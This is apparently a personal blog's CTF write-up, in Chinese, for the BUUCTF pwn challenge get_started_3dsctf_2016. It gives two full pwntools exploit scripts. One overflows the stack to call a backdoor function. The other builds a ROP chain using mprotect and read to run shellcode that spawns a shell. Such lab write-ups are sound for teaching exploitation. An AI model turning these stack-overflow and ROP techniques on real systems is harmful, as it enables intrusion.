刘功瑞的博客

有一天你突然惊醒,发现这一切,都只不过是一场梦。

BUUCTF Pwn get_started_3dsctf_2016 Writeup

image.png

第一种解题方式

给了后门函数,但是没有入口,需要自己调用,传入两个参数,并把返回函数指向exit(),否则得不到返回值

image.png

from pwn import *

p = remote('node3.buuoj.cn','28372')

#p = process('./get_started_3dsctf_2016')
context.log_level = 'debug'
payload = 'a'*0x38
payload += p32(0x080489A0) + p32(0x0804E6A0)
payload += p32(0x308CD64F) + p32(0x195719D1)
p.sendline(payload)
p.recv()


第二种解题方式

修改使用mprotec函数修改内存的权限为可读可写可执行,然后在该内存中写入自己的shellcode,执行该代码即可.
首先按先说一下mprotect函数:原型如下int mprotect(void *addr, size_t len, int prot);
addr 内存启始地址
len  修改内存的长度
prot 内存的权限
要想达到内存可执行的目的,我们看一下哪个内存最好修改,使用edb-debuger查看,或
$ ./ get_started_3dsctf_2016 &
$ cat /proc/[you_pid]/maps 查看内存区域
可以查看到,内存可读可写的地址为: 0x80EB000 ,所以我们对该内存进行增加一个权限
1.栈溢出ret 到 mprotect函数地址,我来解释一下 call 指令, call = push + jmp
所以直接ret后要留一个返回地址,因为ret 就相当于 jmp 到 mprotect,为了完整的回来,所以在
mprotect地址后在压入一个返回地址.2.在32为系统中传参是使用栈传参,择第一个参数先push,第二个再push....
所以基本的payload可以构思如下:
payload = 'A' + 0x38 + p32(mprotect_addr)
payload += p32(ret_addr) + p32(argu1) + p32(argu2) +p32 (argu3)

这里的mprotect_addr就是我们要跳转到mprotect函数的地址
ret_addr 为 mprotect函数执行完后的地址.
argu1 为mprotect函数的第一个参数 (被修改内存的地址) 设置为 0x0x80EB000 (edb-debuger查看得到)
argu2 为mprotect函数的第二个参数 (被修改内存的大小) 设置为 0x1000 (0x1000通过程序启动时查看该内存块的大小的到的)
argu3 为mprotect函数的第三个参数 (被修改内存的权限) 设置为 7 = 4 + 2 +1 (rwx)

为了后续再能使用栈ret,我们的构造一下栈的布局,因为mprotect函数使用到了3个参数,我们就找存在3个连续pop的指令
为啥要找3个pop,也就是在正常情况下,函数传参是使用push,所以要为了堆栈还原,函数调用结束时就使用pop来保证堆栈
完好.

使用 ROPgadget --binary get_started_3dsctf_2016 --only 'pop|ret' | grep pop存在pop的一些指令地址,可以发现:0x0804f460 : pop ebx ; pop esi ; pop ebp ; ret
那我们就得到了该地址.
上面的ret_addr就填写0x0804f460而现在的payload就可以为:
payload = 'A' + 0x38 + p32(mprotect_addr)
payload += p32(pop3_addr) + p32(mem_addr) + p32(mem_size) +p32 (mem_proc)
payload += p32(ret_addr2)

ret_addr2 即为执行完mprotect函数即弹出栈后的返回地址.我们也就可以再次利用栈的ret来控制eip,
即为下一个函数read的地址.
好下面我们就要构思如何将自己的shellcode写入内存再执行,使用read函数写入.read函数原型:ssize_t read(int fd, void *buf, size_t count);
fd 设为0时就可以从输入端读取内容    设为0
buf 设为我们想要执行的内存地址     设为我们已找到的内存地址0x80EB000
size 适当大小就可以              设为0x100就可以了

现在的payload也就可以构造如下
payload = 'A' + 0x38 + p32(mprotect_addr)
payload += p32(pop3_addr) + p32(mem_addr) + p32(mem_size) +p32 (mem_proc)
payload += p32(read_addr) + p32(ret_addr2) + p32(0x0) + p32(mem_addr) +p32 (0x100)
read函数也跟mprotect一样的例子,就是 call = push + jmp.
read_addr 后面的一个ret_addr2就是执行完read函数后的返回地址.再次使用pop3_ret弹掉3个已用的参数,接着还可
以利用栈ret来控制eip跳转到mem_addr执行自己的shellcode, payload如下.

payload = 'A' + 0x38 + p32(mprotect_addr)
payload += p32(pop3_addr) + p32(mem_addr) + p32(mem_size) +p32 (mem_proc)
payload += p32(read_addr) + p32(ret_addr2) + p32(0x0) + p32(mem_addr) +p32 (0x100)
payload += p32(mem_addr)然而在执行read函数时就可以输入shellcode,即payload2为:payload_sh = asm(shellcraft.sh(),arch = 'i386', os = 'linux')

最终payload

from pwn import *

p = remote('node3.buuoj.cn','28372')

#p = process('./get_started_3dsctf_2016')
elf = ELF("./get_started_3dsctf_2016")
context.log_level = 'debug'

mprotect=0x806EC80

mem_addr = 0x080ea000
pop3_ret = 0x0806fc30
#read_plt = elf.symbols('read')
read_plt = 0x806E140



payload = 'a'*0x38
payload += p32(mprotect)
payload += p32(pop3_ret)
payload += p32(mem_addr) + p32(0x1000) + p32(7)
payload += p32(read_plt)
payload += p32(pop3_ret)
payload += p32(0) + p32(mem_addr+0x100) + p32(0x200)
payload += p32(mem_addr+0x100)
p.sendline(payload)
shellcode = asm(shellcraft.sh(),arch='i386',os='linux')
p.sendline(shellcode)
p.interactive()


发表评论:

Powered By Z-BlogPHP 1.5.2 Zero

Copyright www.liugongrui.com.All Rights Reserved.